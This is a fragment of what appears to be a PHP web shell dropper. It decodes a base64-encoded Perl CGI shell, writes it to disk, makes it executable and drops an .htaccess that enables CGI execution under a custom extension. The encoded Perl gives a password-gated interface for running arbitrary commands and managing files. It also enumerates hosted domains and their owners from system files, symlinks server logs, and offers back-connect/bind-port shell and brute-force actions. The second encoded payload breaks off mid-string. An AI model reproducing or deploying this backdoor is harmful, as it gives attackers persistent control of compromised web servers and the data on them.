QkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQoJCX0NCgkJQGZuYW1lID0gc29ydCB7IGxjKCRhKSBjbXAgbGMoJGIpIH0gQGZuYW1lOw0KCQlAZG5hbWUgPSBzb3J0IHsgbGMoJGEpIGNtcCBsYygkYikgfSBAZG5hbWU7DQoJCSRyZXN1bHQgLj0gIjxkaXY+PHRhYmxlIHdpZHRoPSc5MCUnIGNsYXNzPSdsaXN0ZGlyJz4NCg0KCQk8dHIgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6ICMzZTNlM2UnPjx0aD5GaWxlIE5hbWU8L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjEwMHB4Oyc+RmlsZSBTaXplPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxNTBweDsnPk93bmVyPC90aD4NCgkJPHRoIHN0eWxlPSd3aWR0aDoxMDBweDsnPlBlcm1pc3Npb248L3RoPg0KCQk8dGggc3R5bGU9J3dpZHRoOjE1MHB4Oyc+TGFzdCBNb2RpZmllZDwvdGg+DQoJCTx0aCBzdHlsZT0nd2lkdGg6MjYwcHg7Jz5BY3Rpb248L3RoPjwvdHI+IjsNCgkJbXkgJHN0eWxlPSJsaW5lIjsNCgkJbXkgJGk9MDsNCgkJZm9yZWFjaCBteSAkZCAoQGRuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGQgPSAmdHJpbSgkZCk7DQoJCQkkZGlybmFtZT0kZDsNCgkJCWlmKCRkIGVxICIuLiIpIA0KCQkJew0KCQkJCSRkID0gJlBhcmVudEZvbGRlcigkcGF0aCk7DQoJCQl9DQoJCQllbHNpZigkZCBlcSAiLiIpIA0KCQkJew0KCQkJCSRkID0gJHBhdGg7DQoJCQl9DQoJCQllbHNlIA0KCQkJew0KCQkJCSRkID0gJHBhdGguJGQ7DQoJCQl9DQoJCQkkcmVzdWx0IC49ICI8dHIgY2xhc3M9JyRzdHlsZSc+DQoNCgkJCTx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz48YSAgaHJlZj0nP2E9Z3VpJmQ9Ii4kZC4iJz5bICIuJGRpcm5hbWUuIiBdPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZD5ESVI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZU93bmVyKCRkKS4iPC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkIGlkPSdGaWxlUGVybXNfJGknIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG9uZGJsY2xpY2s9XCJybV9jaG1vZF9mb3JtKHRoaXMsIi4kaS4iLCciLiZGaWxlUGVybXMoJGQpLiInLCciLiRkaXJuYW1lLiInKVwiID48c3BhbiBvbmNsaWNrPVwiY2htb2RfZm9ybSgiLiRpLiIsJyIuJGRpcm5hbWUuIicpXCIgPiIuJkZpbGVQZXJtcygkZCkuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZCkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGRpcm5hbWUnLCciLiZBZGRTbGFzaGVzKCZBZGRTbGFzaGVzKCRkKSkuIicpXCI+UmVuYW1lPC9hPiAgfCA8YSBvbmNsaWNrPVwiaWYoIWNvbmZpcm0oJ1JlbW92ZSBkaXI6ICRkaXJuYW1lID8nKSkgeyByZXR1cm4gZmFsc2U7fVwiIGhyZWY9Jz9hPWd1aSZkPSRwYXRoJnJlbW92ZT0kZGlybmFtZSc+UmVtb3ZlPC9hPjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjwvdHI+IjsNCgkJCSRpKys7DQoJCX0NCgkJZm9yZWFjaCBteSAkZiAoQGZuYW1lKQ0KCQl7DQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGU9JGY7DQoJCQkkZiA9ICRwYXRoLiRmOw0KCQkJJHZpZXcgPSAiP2Rpcj0iLiRwYXRoLiImdmlldz0iLiRmOw0KCQkJJHJlc3VsdCAuPSAiPHRyIGNsYXNzPSckc3R5bGUnPjx0ZCBpZD0nRmlsZV8kaScgc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsnPjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0iLiRwYXRoLiImYz1lZGl0JTIwIi4kZmlsZS4iJz4iLiRmaWxlLiI8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPHRkPiIuJlBhcnNlRmlsZVNpemUoJkZpbGVTaXplKCRmKSkuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz4iLiZGaWxlT3duZXIoJGYpLiI8L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgaWQ9J0ZpbGVQZXJtc18kaScgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOycgb25kYmxjbGljaz1cInJtX2NobW9kX2Zvcm0odGhpcywiLiRpLiIsJyIuJkZpbGVQZXJtcygkZikuIicsJyIuJGZpbGUuIicpXCIgPjxzcGFuIG9uY2xpY2s9XCJjaG1vZF9mb3JtKCRpLCckZmlsZScpXCIgPiIuJkZpbGVQZXJtcygkZikuIjwvc3Bhbj48L3RkPiI7DQoJCQkkcmVzdWx0IC49ICI8dGQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyOyc+Ii4mRmlsZUxhc3RNb2RpZmllZCgkZikuIjwvdGQ+IjsNCgkJCSRyZXN1bHQgLj0gIjx0ZCBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Jz48YSBocmVmPSc/YT1jb21tYW5kJmQ9Ii4kcGF0aC4iJmM9ZWRpdCUyMCIuJGZpbGUuIic+RWRpdDwvYT4gfCA8YSBocmVmPSdqYXZhc2NyaXB0OnJldHVybiBmYWxzZTsnIG9uY2xpY2s9XCJyZW5hbWVfZm9ybSgkaSwnJGZpbGUnLCdmJylcIj5SZW5hbWU8L2E+IHwgPGEgaHJlZj0nP2E9ZG93bmxvYWQmbz1nbyZmPSIuJGYuIic+RG93bmxvYWQ8L2E+IHwgPGEgb25jbGljaz1cImlmKCFjb25maXJtKCdSZW1vdmUgZmlsZTogJGZpbGUgPycpKSB7IHJldHVybiBmYWxzZTt9XCIgaHJlZj0nP2E9Z3VpJmQ9JHBhdGgmcmVtb3ZlPSRmaWxlJz5SZW1vdmU8L2E+PC90ZD4iOw0KCQkJJHJlc3VsdCAuPSAiPC90cj4iOw0KCQkJJGkrKzsNCgkJfQ0KCQkkcmVzdWx0IC49ICI8L3RhYmxlPjwvZGl2PiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXINCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3RG9tYWluVXNlcg0Kew0KCW9wZW4gKGRvbWFpbnMsICcvZXRjL25hbWVkLmNvbmYnKSBvciAkZXJyPTE7DQoJbXkgQGNuenMgPSA8ZG9tYWlucz47DQoJY2xvc2UgZDBtYWluczsNCglteSAkc3R5bGU9ImxpbmUiOw0KCW15ICRyZXN1bHQ9IjxoNT48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hO2NvbG9yOiAjZmY5OTAwOyc+SG9hbmcgU2EgLSBUcnVvbmcgU2E8L2ZvbnQ+PC9oNT4iOw0KCWlmICgkZXJyKQ0KCXsNCgkJJHJlc3VsdCAuPSAgKCc8cD5DMHVsZG5cJ3QgQnlwYXNzIGl0ICwgU29ycnk8L3A+Jyk7DQoJCXJldHVybiAkcmVzdWx0Ow0KCX1lbHNlDQoJew0KCQkkcmVzdWx0IC49ICc8dGFibGU+PHRyPjx0aD5Eb21haW5zPC90aD4gPHRoPlVzZXI8L3RoPjwvdHI+JzsNCgl9DQoJZm9yZWFjaCBteSAkb25lIChAY256cykNCgl7DQoJCWlmKCRvbmUgPX4gbS8uKj96b25lICIoLio/KSIgey8pDQoJCXsJDQoJCQkkc3R5bGU9ICgkc3R5bGUgZXEgImxpbmUiKSA/ICJub3RsaW5lIjogImxpbmUiOw0KCQkJJGZpbGVuYW1lPSAiL2V0Yy92YWxpYXNlcy8iLiRvbmU7DQoJCQkkb3duZXIgPSBnZXRwd3VpZCgoc3RhdCgkZmlsZW5hbWUpKVs0XSk7DQoJCQkkcmVzdWx0IC49ICc8dHIgY2xhc3M9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD4nLiRvbmUuJyA8L3RkPjx0ZD4gJy4kb3duZXIuJzwvdGQ+PC90cj4nOw0KCQl9DQoJfQ0KCSRyZXN1bHQgLj0gJzwvdGFibGU+JzsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVmlldyBMb2cNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBWaWV3TG9nDQp7DQoJaWYoJFdpbk5UKQ0KCXsNCgkJcmV0dXJuICI8aDI+PGZvbnQgc3R5bGU9J2ZvbnQ6IDIwcHQgVmVyZGFuYTtjb2xvcjogI2ZmOTkwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsNCgl9DQoJbXkgJHJlc3VsdD0iPHRhYmxlPjx0cj48dGg+UGF0aCBMb2c8L3RoPjx0aD5TdWJtaXQ8L3RoPjwvdHI+IjsNCglteSBAcGF0aGxvZz0oDQoJCQkJJy91c3IvbG9jYWwvYXBhY2hlL2xvZ3MvZXJyb3JfbG9nJywNCgkJCQknL3Zhci9sb2cvaHR0cGQvZXJyb3JfbG9nJywNCgkJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9hY2Nlc3NfbG9nJw0KCQkJCSk7DQoJbXkgJGk9MDsNCglteSAkcGVybXM7DQoJbXkgJHNsOw0KCWZvcmVhY2ggbXkgJGxvZyAoQHBhdGhsb2cpDQoJew0KCQlpZigtdyAkbG9nKQ0KCQl7DQoJCQkkcGVybXM9Ik9LIjsNCgkJfWVsc2UNCgkJew0KCQkJY2hvcCgkc2wgPSBgbG4gLXMgJGxvZyBlcnJvcl9sb2dfJGlgKTsNCgkJCWlmKCZ0cmltKCRscykgZXEgIiIpDQoJCQl7DQoJCQkJaWYoLXIgJGxzKQ0KCQkJCXsNCgkJCQkJJHBlcm1zPSJPSyI7DQoJCQkJCSRsb2c9ImVycm9yX2xvZ18iLiRpOw0KCQkJCX0NCgkJCX1lbHNlDQoJCQl7DQoJCQkJJHBlcm1zPSI8Zm9udCBzdHlsZT0nY29sb3I6IHJlZDsnPkNhbmNlbDxmb250PiI7DQoJCQl9DQoJCX0NCgkJJHJlc3VsdCAuPTw8RU5EOw0KCQk8dHI+DQoNCgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KCQkJPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbG9nXyRpJykudmFsdWU9J2xlc3MgJyArIHRoaXMudmFsdWU7IiB2YWx1ZT0iJGxvZyIgc2l6ZT0nNTAnLz48L3RkPg0KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJsb2dfJGkiIG5hbWU9ImMiIHZhbHVlPSJsZXNzICRsb2ciLz4NCgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIiAvPg0KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIiAvPg0KCQkJPC9mb3JtPg0KCQkJPHRkPiRwZXJtczwvdGQ+DQoNCgkJPC90cj4NCkVORA0KCQkkaSsrOw0KCX0NCgkkcmVzdWx0IC49IjwvdGFibGU+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTWFpbiBQcm9ncmFtIC0gRXhlY3V0aW9uIFN0YXJ0cyBIZXJlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQomUmVhZFBhcnNlOw0KJkdldENvb2tpZXM7DQoNCiRTY3JpcHRMb2NhdGlvbiA9ICRFTlZ7J1NDUklQVF9OQU1FJ307DQokU2VydmVyTmFtZSA9ICRFTlZ7J1NFUlZFUl9OQU1FJ307DQokTG9naW5QYXNzd29yZCA9ICRpbnsncCd9Ow0KJFJ1bkNvbW1hbmQgPSAkaW57J2MnfTsNCiRUcmFuc2ZlckZpbGUgPSAkaW57J2YnfTsNCiRPcHRpb25zID0gJGlueydvJ307DQokQWN0aW9uID0gJGlueydhJ307DQoNCiRBY3Rpb24gPSAiY29tbWFuZCIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAmdHJpbSgkaW57J2QnfSk7DQojIG1hYyBkaW5oIHh1YXQgdGhvbmcgdGluIG5ldSBrbyBjbyBsZW5oIG5hbyENCiRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIiBpZigkUnVuQ29tbWFuZCBlcSAiIik7DQpjaG9wKCRDdXJyZW50RGlyID0gYCRDbWRQd2RgKSBpZigkQ3VycmVudERpciBlcSAiIik7DQoNCiRMb2dnZWRJbiA9ICRDb29raWVzeydTQVZFRFBXRCd9IGVxICRQYXNzd29yZDsNCg0KaWYoJEFjdGlvbiBlcSAibG9naW4iIHx8ICEkTG9nZ2VkSW4pIAkJIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQp9ZWxzaWYoJEFjdGlvbiBlcSAiZ3VpIikgIyBHVUkgZGlyZWN0b3J5DQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZighJFdpbk5UKQ0KCXsNCgkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQlpZighKCRjaG1vZCBlcSAwKSkNCgkJew0KCQkJJGNobW9kPWludCgkaW57J2NobW9kJ30pOw0KCQkJJGZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsNCgkJCWNob3AoJHJlc3VsdD0gYGNobW9kICRjaG1vZCAiJGZpbGUiYCk7DQoJCQlpZigmdHJpbSgkcmVzdWx0KSBlcSAiIikNCgkJCXsNCgkJCQlwcmludCAiPHJ1bj4gRG9uZSEgPC9ydW4+PGJyPiI7DQoJCQl9ZWxzZQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBTb3JyeSEgWW91IGRvbnQgaGF2ZSBwZXJtaXNzaW9ucyEgPC9ydW4+PGJyPiI7DQoJCQl9DQoJCX0NCgl9DQoJJHJlbmFtZT0kaW57J3JlbmFtZSd9Ow0KCWlmKCEkcmVuYW1lIGVxICIiKQ0KCXsNCgkJaWYocmVuYW1lKCRUcmFuc2ZlckZpbGUsJHJlbmFtZSkpDQoJCXsNCgkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJfWVsc2UNCgkJew0KCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJfQ0KCX0NCgkkcmVtb3ZlPSRpbnsncmVtb3ZlJ307DQoJaWYoJHJlbW92ZSBuZSAiIikNCgl7DQoJCSRybSA9ICRDdXJyZW50RGlyLiRQYXRoU2VwLiRyZW1vdmU7DQoJCWlmKC1kICRybSkNCgkJew0KCQkJJlJtRGlyKCRybSk7DQoJCX1lbHNlDQoJCXsNCgkJCWlmKHVubGluaygkcm0pKQ0KCQkJew0KCQkJCXByaW50ICI8cnVuPiBEb25lISA8L3J1bj48YnI+IjsNCgkJCX1lbHNlDQoJCQl7DQoJCQkJcHJpbnQgIjxydW4+IFNvcnJ5ISBZb3UgZG9udCBoYXZlIHBlcm1pc3Npb25zISA8L3J1bj48YnI+IjsNCgkJCX0JCQkNCgkJfQ0KCX0NCglwcmludCAmTGlzdERpcjsNCg0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAiY29tbWFuZCIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHJ1biBhIGNvbW1hbmQNCnsNCgkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJcHJpbnQgJkV4ZWN1dGVDb21tYW5kOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAic2F2ZSIpCQkJCSAJIyB1c2VyIHdhbnRzIHRvIHNhdmUgYSBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglpZigmU2F2ZUZpbGUoJGlueydkYXRhJ30sJGlueydmaWxlJ30pKQ0KCXsNCgkJcHJpbnQgIjxydW4+IERvbmUhIDwvcnVuPjxicj4iOw0KCX1lbHNlDQoJew0KCQlwcmludCAiPHJ1bj4gU29ycnkhIFlvdSBkb250IGhhdmUgcGVybWlzc2lvbnMhIDwvcnVuPjxicj4iOw0KCX0NCglwcmludCAmTGlzdERpcjsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpIAkJCQkJIyB1c2VyIHdhbnRzIHRvIHVwbG9hZCBhIGZpbGUNCnsNCgkmUHJpbnRQYWdlSGVhZGVyOw0KDQoJcHJpbnQgJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJiYWNrYmluZCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gYmFjayBjb25uZWN0IG9yIGJpbmQgcG9ydA0Kew0KCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsNCglwcmludCAmQmFja0JpbmQ7DQp9DQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQ0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJkJydXRlRm9yY2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImRvd25sb2FkIikgCQkJCSMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCglwcmludCAmRG93bmxvYWRGaWxlOw0KfWVsc2lmKCRBY3Rpb24gZXEgImNoZWNrbG9nIikgCQkJCSMgdXNlciB3YW50cyB0byB2aWV3IGxvZyBmaWxlDQp7DQoJJlByaW50UGFnZUhlYWRlcjsNCglwcmludCAmVmlld0xvZzsNCg0KfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbg0Kew0KCSZQcmludFBhZ2VIZWFkZXI7DQoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOw0KfWVsc2lmKCRBY3Rpb24gZXEgImxvZ291dCIpIAkJCQkjIHVzZXIgd2FudHMgdG8gbG9nb3V0DQp7DQoJJlBlcmZvcm1Mb2dvdXQ7DQp9DQomUHJpbnRQYWdlRm9vdGVyOw==";
  1494.     $cgi = fopen($file_cgi, "w");
  1495.     fwrite($cgi, base64_decode($cgi_script));
  1496.     fwrite($htcgi, $isi_htcgi);
  1497.     chmod($file_cgi, 0755);
  1498.         chmod($memeg, 0755);
  1499.     echo "<br><center>Done ... <a href='7yaX_cgi/cgi.7yaX' target='_blank'>Klik Here</a>";
  1500. } elseif($_GET['do'] == 'cgi2') {
  1501.     $cgi_dir = mkdir('7yaX_cgi', 0755);
  1502.         chdir('7yaX_cgi');
  1503.     $file_cgi = "cgi2.7yaX";
  1504.         $memeg = ".htaccess";
  1505.     $isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \n AddType application/x-httpd-cgi .7yaX \n AddHandler cgi-script .7yaX \n AddHandler cgi-script .7yaX";
  1506.     $htcgi = fopen(".htaccess", "w");
  1507.     $cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQojIENvcHlyaWdodCAoQykgMjAwMSBSb2hpdGFiIEJhdHJhDQojIFJlY29kZWQgQnkgQ29uN2V4dA0KIyBUaGFua3MgVG8gOiAweDE5OTkgLSBYYWkgU3luZGljYXRlIFRlYW0gLSBBbmQgWW91DQogDQokV2luTlQgPSAwOw0KJE5UQ21kU2VwID0gIiYiOw0KJFVuaXhDbWRTZXAgPSAiOyI7DQokQ29tbWFuZFRpbWVvdXREdXJhdGlvbiA9IDEwOw0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsNCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOw0KJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOw0KJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7DQokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOw0Kc3ViIFJlYWRQYXJzZQ0Kew0KICAgIGxvY2FsICgqaW4pID0gQF8gaWYgQF87DQogICAgbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCiAgIA0KICAgICRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOw0KIA0KICAgIGlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpDQogICAgew0KICAgICAgICAkaW4gPSAkRU5WeydRVUVSWV9TVFJJTkcnfTsNCiAgICB9DQogICAgZWxzaWYoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAiUE9TVCIpDQogICAgew0KICAgICAgICBiaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7DQogICAgICAgIHJlYWQoU1RESU4sICRpbiwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQogICAgfQ0KIA0KICAgICMgaGFuZGxlIGZpbGUgdXBsb2FkIGRhdGENCiAgICBpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykNCiAgICB7DQogICAgICAgICRCb3VuZGFyeSA9ICctLScuJDE7ICMgcGxlYXNlIHJlZmVyIHRvIFJGQzE4NjcNCiAgICAgICAgQGxpc3QgPSBzcGxpdCgvJEJvdW5kYXJ5LywgJGluKTsNCiAgICAgICAgJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCiAgICAgICAgJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KICAgICAgICAkSGVhZGVyID0gJGA7DQogICAgICAgICRCb2R5ID0gJCc7DQogICAgICAgICRCb2R5ID1+IHMvXHJcbiQvLzsgIyB0aGUgbGFzdCBcclxuIHdhcyBwdXQgaW4gYnkgTmV0c2NhcGUNCiAgICAgICAgJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQogICAgICAgICRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsNCiAgICAgICAgJGlueydmJ30gPSAkMTsNCiAgICAgICAgJGlueydmJ30gPX4gcy9cIi8vZzsNCiAgICAgICAgJGlueydmJ30gPX4gcy9ccy8vZzsNCiANCiAgICAgICAgIyBwYXJzZSB0cmFpbGVyDQogICAgICAgIGZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspDQogICAgICAgIHsNCiAgICAgICAgICAgICRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KICAgICAgICAgICAgJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KICAgICAgICAgICAgJGtleSA9ICQxOw0KICAgICAgICAgICAgJHZhbCA9ICQnOw0KICAgICAgICAgICAgJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCiAgICAgICAgICAgICR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQogICAgICAgICAgICAkaW57JGtleX0gPSAkdmFsOw0KICAgICAgICB9DQogICAgfQ0KICAgIGVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KICAgIHsNCiAgICAgICAgQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KICAgICAgICBmb3JlYWNoICRpICgwIC4uICQjaW4pDQogICAgICAgIHsNCiAgICAgICAgICAgICRpblskaV0gPX4gcy9cKy8gL2c7DQogICAgICAgICAgICAoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KICAgICAgICAgICAgJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCiAgICAgICAgICAgICR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQogICAgICAgICAgICAkaW57JGtleX0gLj0gIlwwIiBpZ